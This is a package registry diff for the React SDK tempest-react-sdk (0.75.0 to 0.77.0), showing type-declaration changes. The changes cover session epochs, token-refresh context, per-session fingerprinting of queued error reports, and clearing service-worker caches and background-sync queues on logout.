tempest-react-sdk 0.75.0 → 0.77.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -2
- package/bin/create-tempest-app.e2e.test.mjs +112 -0
- package/bin/create-tempest-app.mjs +69 -28
- package/bin/lib/component/generate.mjs +191 -0
- package/bin/lib/component/generate.test.mjs +336 -0
- package/bin/lib/openapi/escape.mjs +210 -0
- package/bin/lib/openapi/generate.hostile.test.mjs +592 -0
- package/bin/lib/openapi/generate.mjs +93 -17
- package/bin/lib/openapi/schema-to-zod.mjs +41 -4
- package/bin/tempest.mjs +184 -3
- package/dist/auth/create-tempest-auth.cjs +1 -1
- package/dist/auth/create-tempest-auth.cjs.map +1 -1
- package/dist/auth/create-tempest-auth.js +127 -55
- package/dist/auth/create-tempest-auth.js.map +1 -1
- package/dist/auth/refresh-queue.cjs +1 -1
- package/dist/auth/refresh-queue.cjs.map +1 -1
- package/dist/auth/refresh-queue.js +13 -6
- package/dist/auth/refresh-queue.js.map +1 -1
- package/dist/br/pix.cjs +1 -1
- package/dist/br/pix.cjs.map +1 -1
- package/dist/br/pix.js +72 -62
- package/dist/br/pix.js.map +1 -1
- package/dist/br.d.ts +12 -4
- package/dist/components/Chat/ChatAttachments.cjs +1 -1
- package/dist/components/Chat/ChatAttachments.cjs.map +1 -1
- package/dist/components/Chat/ChatAttachments.js +46 -38
- package/dist/components/Chat/ChatAttachments.js.map +1 -1
- package/dist/components/Markdown/markdown-parse.cjs +7 -5
- package/dist/components/Markdown/markdown-parse.cjs.map +1 -1
- package/dist/components/Markdown/markdown-parse.js +151 -87
- package/dist/components/Markdown/markdown-parse.js.map +1 -1
- package/dist/components/Toast/Toast.module.cjs +1 -1
- package/dist/components/Toast/Toast.module.cjs.map +1 -1
- package/dist/components/Toast/Toast.module.js +7 -3
- package/dist/components/Toast/Toast.module.js.map +1 -1
- package/dist/components/Toast/ToastProvider.cjs +1 -1
- package/dist/components/Toast/ToastProvider.cjs.map +1 -1
- package/dist/components/Toast/ToastProvider.js +77 -51
- package/dist/components/Toast/ToastProvider.js.map +1 -1
- package/dist/data/create-data-provider.cjs +1 -1
- package/dist/data/create-data-provider.cjs.map +1 -1
- package/dist/data/create-data-provider.js +32 -21
- package/dist/data/create-data-provider.js.map +1 -1
- package/dist/http/api-client.cjs +1 -1
- package/dist/http/api-client.cjs.map +1 -1
- package/dist/http/api-client.js +81 -73
- package/dist/http/api-client.js.map +1 -1
- package/dist/http/errors.cjs +1 -1
- package/dist/http/errors.cjs.map +1 -1
- package/dist/http/errors.js +39 -35
- package/dist/http/errors.js.map +1 -1
- package/dist/neural.cjs +2 -0
- package/dist/neural.cjs.map +1 -0
- package/dist/neural.d.ts +110 -0
- package/dist/neural.js +48 -0
- package/dist/neural.js.map +1 -0
- package/dist/oauth/callback.cjs +2 -0
- package/dist/oauth/callback.cjs.map +1 -0
- package/dist/oauth/callback.js +42 -0
- package/dist/oauth/callback.js.map +1 -0
- package/dist/oauth/use-oauth-callback.cjs +1 -1
- package/dist/oauth/use-oauth-callback.cjs.map +1 -1
- package/dist/oauth/use-oauth-callback.js +13 -20
- package/dist/oauth/use-oauth-callback.js.map +1 -1
- package/dist/push/use-push-subscription.cjs +1 -1
- package/dist/push/use-push-subscription.cjs.map +1 -1
- package/dist/push/use-push-subscription.js +42 -42
- package/dist/push/use-push-subscription.js.map +1 -1
- package/dist/push/web-push-client.cjs +1 -1
- package/dist/push/web-push-client.cjs.map +1 -1
- package/dist/push/web-push-client.js +23 -3
- package/dist/push/web-push-client.js.map +1 -1
- package/dist/query/offline-persistence.cjs +1 -1
- package/dist/query/offline-persistence.cjs.map +1 -1
- package/dist/query/offline-persistence.js +68 -23
- package/dist/query/offline-persistence.js.map +1 -1
- package/dist/styles/component/Toast.css +6 -1
- package/dist/styles/feedback.css +6 -1
- package/dist/styles.css +1 -1
- package/dist/sw/background-sync.cjs +1 -1
- package/dist/sw/background-sync.cjs.map +1 -1
- package/dist/sw/background-sync.js +271 -60
- package/dist/sw/background-sync.js.map +1 -1
- package/dist/sw/cache-inspect.cjs.map +1 -1
- package/dist/sw/cache-inspect.js.map +1 -1
- package/dist/sw/cache.cjs +1 -1
- package/dist/sw/cache.cjs.map +1 -1
- package/dist/sw/cache.js +91 -64
- package/dist/sw/cache.js.map +1 -1
- package/dist/sw/credential-headers.cjs +2 -0
- package/dist/sw/credential-headers.cjs.map +1 -0
- package/dist/sw/credential-headers.js +17 -0
- package/dist/sw/credential-headers.js.map +1 -0
- package/dist/sw/session-data.cjs +2 -0
- package/dist/sw/session-data.cjs.map +1 -0
- package/dist/sw/session-data.js +17 -0
- package/dist/sw/session-data.js.map +1 -0
- package/dist/sw.cjs +1 -1
- package/dist/sw.d.ts +271 -23
- package/dist/sw.js +7 -5
- package/dist/telemetry/app-error-owner.cjs +2 -0
- package/dist/telemetry/app-error-owner.cjs.map +1 -0
- package/dist/telemetry/app-error-owner.js +18 -0
- package/dist/telemetry/app-error-owner.js.map +1 -0
- package/dist/telemetry/app-error-queue.cjs +1 -1
- package/dist/telemetry/app-error-queue.cjs.map +1 -1
- package/dist/telemetry/app-error-queue.js +19 -14
- package/dist/telemetry/app-error-queue.js.map +1 -1
- package/dist/telemetry/app-error-reporter.cjs +1 -1
- package/dist/telemetry/app-error-reporter.cjs.map +1 -1
- package/dist/telemetry/app-error-reporter.js +75 -34
- package/dist/telemetry/app-error-reporter.js.map +1 -1
- package/dist/telemetry/app-error-transport.cjs +1 -1
- package/dist/telemetry/app-error-transport.cjs.map +1 -1
- package/dist/telemetry/app-error-transport.js +16 -3
- package/dist/telemetry/app-error-transport.js.map +1 -1
- package/dist/tempest-react-sdk.cjs +1 -1
- package/dist/tempest-react-sdk.d.ts +979 -62
- package/dist/tempest-react-sdk.js +160 -156
- package/dist/utils/csv.cjs +3 -3
- package/dist/utils/csv.cjs.map +1 -1
- package/dist/utils/csv.js +16 -13
- package/dist/utils/csv.js.map +1 -1
- package/dist/utils/safe-url.cjs +2 -0
- package/dist/utils/safe-url.cjs.map +1 -0
- package/dist/utils/safe-url.js +39 -0
- package/dist/utils/safe-url.js.map +1 -0
- package/dist/vite/tempest-csp.cjs +2 -2
- package/dist/vite/tempest-csp.cjs.map +1 -1
- package/dist/vite/tempest-csp.js +118 -63
- package/dist/vite/tempest-csp.js.map +1 -1
- package/dist/vite.d.ts +21 -5
- package/dist/webrtc/peer-link.cjs +1 -1
- package/dist/webrtc/peer-link.cjs.map +1 -1
- package/dist/webrtc/peer-link.js +2 -10
- package/dist/webrtc/peer-link.js.map +1 -1
- package/dist/webrtc/peer-mesh.cjs +1 -1
- package/dist/webrtc/peer-mesh.cjs.map +1 -1
- package/dist/webrtc/peer-mesh.js +110 -72
- package/dist/webrtc/peer-mesh.js.map +1 -1
- package/package.json +11 -1
- package/template-pwa/src/pwa.tsx +22 -0
- package/template-pwa/src/sw.ts +27 -14
- package/dist/components/Markdown/markdown-url.cjs +0 -2
- package/dist/components/Markdown/markdown-url.cjs.map +0 -1
- package/dist/components/Markdown/markdown-url.js +0 -28
- package/dist/components/Markdown/markdown-url.js.map +0 -1
|
@@ -714,6 +714,15 @@ export declare interface ApiClientConfig {
|
|
|
714
714
|
prefix?: string;
|
|
715
715
|
/** Returns the current bearer token (or null/undefined). Called per request. */
|
|
716
716
|
getToken?: () => string | null | undefined;
|
|
717
|
+
/**
|
|
718
|
+
* Returns a counter that changes whenever the session changes — a sign-out,
|
|
719
|
+
* a sign-in. Read when each attempt leaves and handed to `refresh` and
|
|
720
|
+
* `onUnauthorized` in {@link RequestAuthContext}, so they can tell a `401`
|
|
721
|
+
* from an ended session (refuse it) from one of the current session (handle
|
|
722
|
+
* it). The token alone cannot: a request sent with no token, or with a token
|
|
723
|
+
* rehydrated from storage, says nothing about which session sent it.
|
|
724
|
+
*/
|
|
725
|
+
getSessionEpoch?: () => number;
|
|
717
726
|
/**
|
|
718
727
|
* Origins besides `baseURL`'s that may receive the `getToken` credential.
|
|
719
728
|
*
|
|
@@ -743,8 +752,12 @@ export declare interface ApiClientConfig {
|
|
|
743
752
|
* Called when a request ends up unauthorized — a 401 with no `refresh`
|
|
744
753
|
* configured, a `refresh()` that threw, or a retry that came back 401 again
|
|
745
754
|
* after a refresh that resolved. Use it to end the session.
|
|
755
|
+
*
|
|
756
|
+
* `context` describes the attempt that came back `401` — the replay's, when
|
|
757
|
+
* it was the replay. Throwing {@link SessionSupersededError} here rejects the
|
|
758
|
+
* request with it; any other error is logged and the `401` is thrown as usual.
|
|
746
759
|
*/
|
|
747
|
-
onUnauthorized?: (response: Response) => void | Promise<void>;
|
|
760
|
+
onUnauthorized?: (response: Response, context: RequestAuthContext) => void | Promise<void>;
|
|
748
761
|
/**
|
|
749
762
|
* Where the client reports each request it finished. Off when absent — the
|
|
750
763
|
* client writes to no console of its own.
|
|
@@ -768,8 +781,17 @@ export declare interface ApiClientConfig {
|
|
|
768
781
|
/**
|
|
769
782
|
* Optional refresh hook. When provided and the original request returns 401,
|
|
770
783
|
* the client awaits `refresh()` then retries the request once.
|
|
784
|
+
*
|
|
785
|
+
* The hook receives a {@link RequestAuthContext} naming the token the rejected
|
|
786
|
+
* request carried. A hook that ignores it keeps working; one that reads it
|
|
787
|
+
* can tell a stale `401` — the token already rotated since the request left —
|
|
788
|
+
* from a fresh one, and skip a second refresh.
|
|
789
|
+
*
|
|
790
|
+
* Throwing {@link SessionSupersededError} rejects the request with that
|
|
791
|
+
* error **without** calling `onUnauthorized`: the session the refresh
|
|
792
|
+
* belonged to is gone, and the one in its place must not be ended for it.
|
|
771
793
|
*/
|
|
772
|
-
refresh?: () => Promise<void>;
|
|
794
|
+
refresh?: (context: RequestAuthContext) => Promise<void>;
|
|
773
795
|
/**
|
|
774
796
|
* Retry failed requests with exponential backoff. Off by default, so the
|
|
775
797
|
* client keeps failing fast unless you opt in.
|
|
@@ -1072,6 +1094,25 @@ export declare interface AppErrorQueueEntry {
|
|
|
1072
1094
|
report: AppErrorReportSchema;
|
|
1073
1095
|
/** How many times this exact report was raised while it waited. */
|
|
1074
1096
|
count: number;
|
|
1097
|
+
/**
|
|
1098
|
+
* The token in force when the report was raised, as a one-way fingerprint
|
|
1099
|
+
* (`"t:<hex>"`) — never the token itself. `null` means there was none;
|
|
1100
|
+
* the field is missing on entries persisted before it existed (≤ 0.76.0).
|
|
1101
|
+
*
|
|
1102
|
+
* The bearer is resolved when the queue drains, not when the error happens,
|
|
1103
|
+
* so this is what keeps a report user A raised offline from leaving with
|
|
1104
|
+
* user B's token: the bearer only goes out when it is the very token whose
|
|
1105
|
+
* fingerprint is stored here.
|
|
1106
|
+
*/
|
|
1107
|
+
session?: string | null;
|
|
1108
|
+
/**
|
|
1109
|
+
* Who `getPrincipal` said was signed in when the report was raised, as a
|
|
1110
|
+
* one-way fingerprint (`"p:<hex>"`). Only set when the reporter has a
|
|
1111
|
+
* `getPrincipal`; `null` means it named nobody. It never grants the bearer
|
|
1112
|
+
* — `session` does — it only decides whether `foreignReports: "drop"`
|
|
1113
|
+
* discards the entry.
|
|
1114
|
+
*/
|
|
1115
|
+
owner?: string | null;
|
|
1075
1116
|
}
|
|
1076
1117
|
|
|
1077
1118
|
/**
|
|
@@ -1090,9 +1131,22 @@ export declare interface AppErrorReporter {
|
|
|
1090
1131
|
report: (error: unknown, context?: Record<string, unknown>) => void;
|
|
1091
1132
|
/** Drain the queue now. Concurrent calls share one run. */
|
|
1092
1133
|
flush: () => Promise<AppErrorFlushResult>;
|
|
1093
|
-
/**
|
|
1134
|
+
/**
|
|
1135
|
+
* The waiting entries, oldest first. With an async `getToken` and no
|
|
1136
|
+
* `getPrincipal`, a report joins them once its token resolves — `flush()`
|
|
1137
|
+
* waits for that, `pending()` does not.
|
|
1138
|
+
*/
|
|
1094
1139
|
pending: () => AppErrorQueueEntry[];
|
|
1095
|
-
/**
|
|
1140
|
+
/**
|
|
1141
|
+
* Drop every waiting report. Call it on logout when reports raised in that
|
|
1142
|
+
* session should not outlive it; even without it, a report never leaves
|
|
1143
|
+
* with the next user's bearer.
|
|
1144
|
+
*
|
|
1145
|
+
* It also stops a flush in flight before its next send (the one already on
|
|
1146
|
+
* the wire cannot be recalled), and discards reports still waiting for an
|
|
1147
|
+
* async `getToken` to stamp them — both would otherwise refill the queue or
|
|
1148
|
+
* keep sending what the logout meant to forget.
|
|
1149
|
+
*/
|
|
1096
1150
|
clear: () => void;
|
|
1097
1151
|
/** Remove the `online` listener and the retry timer. */
|
|
1098
1152
|
dispose: () => void;
|
|
@@ -1740,6 +1794,56 @@ export declare type AvatarSize = "xs" | "sm" | "md" | "lg" | "xl";
|
|
|
1740
1794
|
|
|
1741
1795
|
export declare type AvatarStatus = "online" | "offline" | "busy";
|
|
1742
1796
|
|
|
1797
|
+
/**
|
|
1798
|
+
* `type` of the message the worker posts to window clients to ask about a queued
|
|
1799
|
+
* request. Answered by {@link provideBackgroundSyncCredentials}.
|
|
1800
|
+
*/
|
|
1801
|
+
export declare const BACKGROUND_SYNC_CREDENTIALS_MESSAGE = "tempest:bg-sync-credentials";
|
|
1802
|
+
|
|
1803
|
+
/**
|
|
1804
|
+
* Resolve the credentials for a queued request: a header record to apply, or
|
|
1805
|
+
* `null` when there is no session (the entry is then dropped).
|
|
1806
|
+
*/
|
|
1807
|
+
export declare type BackgroundSyncCredentialsProvider = (request: BackgroundSyncCredentialsRequest) => Record<string, string> | null | Promise<Record<string, string> | null>;
|
|
1808
|
+
|
|
1809
|
+
/** The request a window client is asked about, as sent by the worker. */
|
|
1810
|
+
export declare interface BackgroundSyncCredentialsRequest {
|
|
1811
|
+
/** Absolute URL of the queued request. */
|
|
1812
|
+
url: string;
|
|
1813
|
+
/** HTTP method of the queued request. */
|
|
1814
|
+
method: string;
|
|
1815
|
+
/**
|
|
1816
|
+
* `"enqueue"` when the worker only wants the owner of a request that just
|
|
1817
|
+
* failed; `"replay"` when it is about to send it and needs the credentials.
|
|
1818
|
+
*/
|
|
1819
|
+
phase: "enqueue" | "replay";
|
|
1820
|
+
}
|
|
1821
|
+
|
|
1822
|
+
/**
|
|
1823
|
+
* How an entry is tied to whoever queued it:
|
|
1824
|
+
* - `"bound"`: the issuing page reported a principal (or `null` for nobody);
|
|
1825
|
+
* the entry only goes out while the same one is signed in.
|
|
1826
|
+
* - `"unbound"`: the issuing page answered without `getPrincipal`.
|
|
1827
|
+
* - `"unknown"`: nobody could say — no issuing tab, no answer, an error, or an
|
|
1828
|
+
* entry written before owners existed. Fails closed.
|
|
1829
|
+
*
|
|
1830
|
+
* While the worker is still asking, the stored state is `"pending"`, which a
|
|
1831
|
+
* replay never sees: it waits, then reads a stamp that never came as `"unknown"`.
|
|
1832
|
+
*/
|
|
1833
|
+
export declare type BackgroundSyncOwnerState = "bound" | "unbound" | "unknown";
|
|
1834
|
+
|
|
1835
|
+
/** What a queued request looked like when it was stored, passed to `beforeReplay`. */
|
|
1836
|
+
export declare interface BackgroundSyncReplayContext {
|
|
1837
|
+
/** Epoch milliseconds of the original failed attempt. */
|
|
1838
|
+
queuedAt: number;
|
|
1839
|
+
/** Lower-cased credential header names stripped before the entry was stored. */
|
|
1840
|
+
strippedHeaders: readonly string[];
|
|
1841
|
+
/** How the entry is tied to its owner. */
|
|
1842
|
+
ownerState: BackgroundSyncOwnerState;
|
|
1843
|
+
/** Owner fingerprint under `"bound"` (`null` for nobody); `undefined` otherwise. */
|
|
1844
|
+
owner: string | null | undefined;
|
|
1845
|
+
}
|
|
1846
|
+
|
|
1743
1847
|
/**
|
|
1744
1848
|
* Pill / square status badge.
|
|
1745
1849
|
*
|
|
@@ -2468,9 +2572,10 @@ export declare type CacheFilter = string | RegExp | ((name: string) => boolean);
|
|
|
2468
2572
|
|
|
2469
2573
|
/**
|
|
2470
2574
|
* Main-thread helpers to inspect and clear the Cache Storage buckets a service
|
|
2471
|
-
* worker fills — for a "X MB cacheado" readout and a "limpar cache" action
|
|
2472
|
-
*
|
|
2473
|
-
*
|
|
2575
|
+
* worker fills — for a "X MB cacheado" readout and a "limpar cache" action.
|
|
2576
|
+
* On logout prefer `clearSessionData`, which also drops the background-sync
|
|
2577
|
+
* queue and spares the app-shell precache. All guard `caches` so they no-op
|
|
2578
|
+
* safely under SSR / older browsers.
|
|
2474
2579
|
*/
|
|
2475
2580
|
/** Per-cache usage summary returned by {@link inspectCaches}. */
|
|
2476
2581
|
export declare interface CacheReport {
|
|
@@ -3109,6 +3214,28 @@ declare type ClassValue = string | number | bigint | boolean | null | undefined
|
|
|
3109
3214
|
*/
|
|
3110
3215
|
export declare function clearAnnouncer(): void;
|
|
3111
3216
|
|
|
3217
|
+
/**
|
|
3218
|
+
* Empty the background-sync queue — every request still waiting to be replayed —
|
|
3219
|
+
* and bump its clear epoch. Call it on logout (or use `clearSessionData()`, which
|
|
3220
|
+
* also clears the runtime caches) so mutations made under one session are never
|
|
3221
|
+
* replayed under the next.
|
|
3222
|
+
*
|
|
3223
|
+
* Works from the page and from the worker, and reaches work already in flight
|
|
3224
|
+
* in the worker: a replay checks each entry right before sending it, and a
|
|
3225
|
+
* request still failing when the queue is cleared is not written afterwards.
|
|
3226
|
+
*
|
|
3227
|
+
* @param queueName - The `queueName` given to {@link installBackgroundSync}.
|
|
3228
|
+
* Default `tempest-bg-sync`.
|
|
3229
|
+
* @returns `true` once the queue is empty; `false` when IndexedDB is
|
|
3230
|
+
* unavailable (SSR, old browsers).
|
|
3231
|
+
*
|
|
3232
|
+
* @example
|
|
3233
|
+
* import { clearBackgroundSyncQueue } from "tempest-react-sdk/sw";
|
|
3234
|
+
*
|
|
3235
|
+
* await clearBackgroundSyncQueue();
|
|
3236
|
+
*/
|
|
3237
|
+
export declare function clearBackgroundSyncQueue(queueName?: string): Promise<boolean>;
|
|
3238
|
+
|
|
3112
3239
|
/**
|
|
3113
3240
|
* Delete Cache Storage buckets whose name passes `filter` (all of them when no
|
|
3114
3241
|
* filter is given).
|
|
@@ -3117,10 +3244,60 @@ export declare function clearAnnouncer(): void;
|
|
|
3117
3244
|
* @returns The names of the caches that were deleted.
|
|
3118
3245
|
*
|
|
3119
3246
|
* @example
|
|
3120
|
-
* await clearCaches("tempest-"); // drop
|
|
3247
|
+
* await clearCaches("tempest-api"); // drop one runtime bucket
|
|
3121
3248
|
*/
|
|
3122
3249
|
export declare function clearCaches(filter?: CacheFilter): Promise<string[]>;
|
|
3123
3250
|
|
|
3251
|
+
/**
|
|
3252
|
+
* Remove everything the service-worker helpers keep on behalf of the signed-in
|
|
3253
|
+
* user: the runtime caches filled by `installRuntimeCache` and the queue of
|
|
3254
|
+
* mutations waiting in `installBackgroundSync`. Call it on logout, from the page.
|
|
3255
|
+
*
|
|
3256
|
+
* Both stores outlive the session and are shared by every account that signs in
|
|
3257
|
+
* on the browser. Measured in Chromium 153 (11/10/2026), before this existed:
|
|
3258
|
+
* the documented `clearCaches("tempest-")` deleted nothing because the recipe's
|
|
3259
|
+
* runtime cache was named `api`, the next account read the previous account's
|
|
3260
|
+
* `GET /api/me` offline, and a mutation queued by the previous account was
|
|
3261
|
+
* replayed with its stored bearer after logout. A prefix filter cannot know the
|
|
3262
|
+
* names a recipe chose, so the default here inverts it: every bucket goes except
|
|
3263
|
+
* the precache, which holds only the build's static assets.
|
|
3264
|
+
*
|
|
3265
|
+
* Cache Storage and IndexedDB are origin storage, readable from the window, so
|
|
3266
|
+
* this needs no message to the worker.
|
|
3267
|
+
*
|
|
3268
|
+
* @param options - Narrow the caches to delete, or name a custom queue.
|
|
3269
|
+
* @returns The caches deleted and whether the queue was cleared.
|
|
3270
|
+
*
|
|
3271
|
+
* @example
|
|
3272
|
+
* import { clearSessionData } from "tempest-react-sdk/sw";
|
|
3273
|
+
*
|
|
3274
|
+
* async function logout() {
|
|
3275
|
+
* await clearSessionData();
|
|
3276
|
+
* }
|
|
3277
|
+
*/
|
|
3278
|
+
export declare function clearSessionData(options?: ClearSessionDataOptions): Promise<ClearSessionDataResult>;
|
|
3279
|
+
|
|
3280
|
+
/** Options for {@link clearSessionData}. */
|
|
3281
|
+
export declare interface ClearSessionDataOptions {
|
|
3282
|
+
/**
|
|
3283
|
+
* Which Cache Storage buckets hold session data. Default: every bucket except
|
|
3284
|
+
* the app-shell precache (`tempest-precache-*`), so the app still launches
|
|
3285
|
+
* offline after logout while no runtime entry — whatever its `cacheName` —
|
|
3286
|
+
* survives into the next session.
|
|
3287
|
+
*/
|
|
3288
|
+
caches?: CacheFilter;
|
|
3289
|
+
/** The background-sync `queueName` to clear. Default `tempest-bg-sync`. */
|
|
3290
|
+
queueName?: string;
|
|
3291
|
+
}
|
|
3292
|
+
|
|
3293
|
+
/** What {@link clearSessionData} removed. */
|
|
3294
|
+
export declare interface ClearSessionDataResult {
|
|
3295
|
+
/** Names of the Cache Storage buckets deleted. */
|
|
3296
|
+
caches: string[];
|
|
3297
|
+
/** Whether the background-sync queue was emptied. */
|
|
3298
|
+
queueCleared: boolean;
|
|
3299
|
+
}
|
|
3300
|
+
|
|
3124
3301
|
/**
|
|
3125
3302
|
* Wraps its children in a `<div>` and invokes `onOutside` whenever a
|
|
3126
3303
|
* `mousedown` or `touchstart` event occurs outside that subtree.
|
|
@@ -3670,6 +3847,12 @@ export declare function createApiClient(config: ApiClientConfig): ApiClient;
|
|
|
3670
3847
|
* - **any other 4xx** — dropped: the backend will refuse that body forever, and
|
|
3671
3848
|
* keeping it would block every report queued behind it.
|
|
3672
3849
|
*
|
|
3850
|
+
* Each report is stamped with a one-way fingerprint of the token in force when
|
|
3851
|
+
* it was raised, and goes out with a bearer only when the token at send time is
|
|
3852
|
+
* that same one — never with the token of whoever signed in next. The queue
|
|
3853
|
+
* never stores a token. `clear()` also stops a flush in flight and discards
|
|
3854
|
+
* reports still waiting for an async token.
|
|
3855
|
+
*
|
|
3673
3856
|
* @example
|
|
3674
3857
|
* import { createAppErrorReporter } from "tempest-react-sdk";
|
|
3675
3858
|
*
|
|
@@ -3696,6 +3879,44 @@ export declare interface CreateAppErrorReporterOptions {
|
|
|
3696
3879
|
* to get through. A token that throws or resolves empty sends anonymously.
|
|
3697
3880
|
*/
|
|
3698
3881
|
getToken?: () => string | null | undefined | Promise<string | null | undefined>;
|
|
3882
|
+
/**
|
|
3883
|
+
* Who is signed in right now — a stable, non-secret id such as the user id.
|
|
3884
|
+
* Read **when the error is reported**, and stored in the queue only as a
|
|
3885
|
+
* one-way fingerprint (`entry.owner`). A non-string (an `async` getter
|
|
3886
|
+
* from untyped JS, an object) or a getter that throws reads as nobody.
|
|
3887
|
+
*
|
|
3888
|
+
* It never grants the bearer. The bearer goes out only when the token at
|
|
3889
|
+
* send time is the very token that was in force at report time (its
|
|
3890
|
+
* fingerprint is `entry.session`): the principal and the token come from
|
|
3891
|
+
* two sources, and a principal store that lags behind a login would
|
|
3892
|
+
* otherwise send A's report with B's token. The principal only tells
|
|
3893
|
+
* {@link CreateAppErrorReporterOptions.foreignReports} `"drop"` whose
|
|
3894
|
+
* report is whose.
|
|
3895
|
+
*/
|
|
3896
|
+
getPrincipal?: () => string | number | null | undefined;
|
|
3897
|
+
/**
|
|
3898
|
+
* What to do with a queued report that cannot go out with the current
|
|
3899
|
+
* bearer — raised under another token, or queued before 0.77.0. Default
|
|
3900
|
+
* `"anonymous"`.
|
|
3901
|
+
*
|
|
3902
|
+
* - `"anonymous"` — send it without `Authorization`. The route is public,
|
|
3903
|
+
* so the error still reaches the backend; it is only not attributed to
|
|
3904
|
+
* anybody. This includes the user's own reports raised before a token
|
|
3905
|
+
* refresh: attribution is lost, never misplaced.
|
|
3906
|
+
* - `"drop"` — discard every report not proven to be the current
|
|
3907
|
+
* principal's: another principal, nobody, or unknown (no principal at
|
|
3908
|
+
* report time, a legacy entry, or nobody signed in now). For apps where
|
|
3909
|
+
* a previous user's error text must not leave the device after they
|
|
3910
|
+
* signed out. **Needs `getPrincipal`**: without it the only identity is
|
|
3911
|
+
* the token fingerprint, and a refresh changes it, so a mismatch is no
|
|
3912
|
+
* proof the report is someone else's — the reporter then sends
|
|
3913
|
+
* anonymously instead of destroying the user's own reports.
|
|
3914
|
+
*
|
|
3915
|
+
* Never is a report sent with a bearer other than the one it was raised
|
|
3916
|
+
* under: that would credit the previous user's error to whoever signed in
|
|
3917
|
+
* next.
|
|
3918
|
+
*/
|
|
3919
|
+
foreignReports?: "anonymous" | "drop";
|
|
3699
3920
|
/**
|
|
3700
3921
|
* Device facts, read **when the error is reported**, not when it is sent —
|
|
3701
3922
|
* a report queued offline on `1.4.0` must not go out labelled `1.5.0`.
|
|
@@ -3870,6 +4091,10 @@ export declare function createColorScale(hex: string, mode?: "light" | "dark", o
|
|
|
3870
4091
|
* `GET /{resource}/{id}`, create → `POST`, update → `PATCH`/`PUT`,
|
|
3871
4092
|
* delete → `DELETE`.
|
|
3872
4093
|
*
|
|
4094
|
+
* Every id goes through {@link encodeIdSegment} before reaching `buildPath`, so
|
|
4095
|
+
* an id can never leave its own path segment — not with the default builder,
|
|
4096
|
+
* and not with an override that interpolates it.
|
|
4097
|
+
*
|
|
3873
4098
|
* @param client - The HTTP client created by `createApiClient`.
|
|
3874
4099
|
* @param options - Optional overrides for param names, sort encoding,
|
|
3875
4100
|
* update method and path building.
|
|
@@ -4415,7 +4640,7 @@ export declare function createOSRMBackend(options: OSRMBackendOptions): RoutingB
|
|
|
4415
4640
|
/**
|
|
4416
4641
|
* Build a `206 Partial Content` response from a full one for an HTTP `Range`
|
|
4417
4642
|
* request. Supports `bytes=start-end`, open-ended `bytes=start-` and suffix
|
|
4418
|
-
* `bytes=-suffixLength
|
|
4643
|
+
* `bytes=-suffixLength` (the last N bytes). Returns the original response when there is no usable
|
|
4419
4644
|
* `Range` header, or a `416` when the range is unsatisfiable.
|
|
4420
4645
|
*
|
|
4421
4646
|
* @param request The incoming request (its `Range` header drives the slice).
|
|
@@ -4607,15 +4832,26 @@ export declare function createQueryKeys<TKey extends string, TEntries extends Re
|
|
|
4607
4832
|
* is already fresh. Measured against a mock backend, five concurrent expired
|
|
4608
4833
|
* requests took two refreshes, not one.
|
|
4609
4834
|
*
|
|
4610
|
-
* Pass `getToken` to close that gap.
|
|
4611
|
-
*
|
|
4612
|
-
*
|
|
4835
|
+
* Pass `getToken` to close that gap. Wired as `createApiClient`'s `refresh`, the
|
|
4836
|
+
* queue is told which token each rejected request carried: when that token is
|
|
4837
|
+
* no longer the current one, the rotation it was about to trigger already
|
|
4838
|
+
* happened, so the call returns at once and the replay picks up the new token.
|
|
4613
4839
|
* The same five requests then take exactly one refresh, and so do twenty.
|
|
4614
4840
|
*
|
|
4841
|
+
* Called by hand, with no context, the queue falls back to remembering the
|
|
4842
|
+
* token its last refresh produced and skipping while that token is in place.
|
|
4843
|
+
* That fallback cannot tell "already refreshed" from "the refreshed token has
|
|
4844
|
+
* since expired" — both leave the same string in the store — which is why the
|
|
4845
|
+
* client passes the context. Before 0.77.0 the client did not, and every
|
|
4846
|
+
* access token a refresh issued became unrefreshable once it expired: its `401`
|
|
4847
|
+
* skipped the refresh, the replay failed again, and `onUnauthorized` ended the
|
|
4848
|
+
* session.
|
|
4849
|
+
*
|
|
4615
4850
|
* @param refresh - Performs the refresh and installs the new credentials.
|
|
4616
4851
|
* @param options - Optional token reader that enables already-refreshed
|
|
4617
4852
|
* detection.
|
|
4618
|
-
* @returns A function that refreshes at most once per rotation
|
|
4853
|
+
* @returns A function that refreshes at most once per rotation, accepting the
|
|
4854
|
+
* {@link RequestAuthContext} `createApiClient` passes on a `401`.
|
|
4619
4855
|
*
|
|
4620
4856
|
* @example
|
|
4621
4857
|
* const refresh = createRefreshQueue(() => AuthService.refresh(), {
|
|
@@ -4626,7 +4862,7 @@ export declare function createQueryKeys<TKey extends string, TEntries extends Re
|
|
|
4626
4862
|
* await refresh();
|
|
4627
4863
|
* // ...retry the original request
|
|
4628
4864
|
*/
|
|
4629
|
-
export declare function createRefreshQueue(refresh: () => Promise<void>, options?: CreateRefreshQueueOptions): () => Promise<void>;
|
|
4865
|
+
export declare function createRefreshQueue(refresh: () => Promise<void>, options?: CreateRefreshQueueOptions): (context?: Pick<RequestAuthContext, "token">) => Promise<void>;
|
|
4630
4866
|
|
|
4631
4867
|
export declare interface CreateRefreshQueueOptions {
|
|
4632
4868
|
/**
|
|
@@ -4842,6 +5078,20 @@ export declare interface CreateStorePersistOptions<T> {
|
|
|
4842
5078
|
* `redirectTo` set, the browser also leaves the page; without it, clearing the
|
|
4843
5079
|
* store is enough for a `<RouteGuard>` to navigate on its own.
|
|
4844
5080
|
*
|
|
5081
|
+
* Every refresh is bound to a **session epoch**, bumped by `logout()` and by a
|
|
5082
|
+
* `login()` whose credentials were accepted. A refresh that resolves after its epoch ended discards
|
|
5083
|
+
* what it brought back and rejects with {@link SessionSupersededError}, which
|
|
5084
|
+
* the client passes through without ending the new session. Before 0.77.0 a
|
|
5085
|
+
* refresh that was in flight during `logout()` reinstalled the old tokens —
|
|
5086
|
+
* and after `logout()` + `login(B)`, replaced B's token with A's while the UI
|
|
5087
|
+
* showed B (#435). A `401` from a request sent under an ended session is
|
|
5088
|
+
* refused the same way, instead of being replayed as the account signed in now.
|
|
5089
|
+
*
|
|
5090
|
+
* Refreshes are collapsed per rotation, not just per overlap: a `401` whose
|
|
5091
|
+
* request left with a token that has since been replaced in the same session
|
|
5092
|
+
* replays with the new token and refreshes nothing. Three expired requests take
|
|
5093
|
+
* one refresh whether their `401`s arrive together or one after another.
|
|
5094
|
+
*
|
|
4845
5095
|
* @example
|
|
4846
5096
|
* const auth = createTempestAuth<User, { email: string; password: string }>({
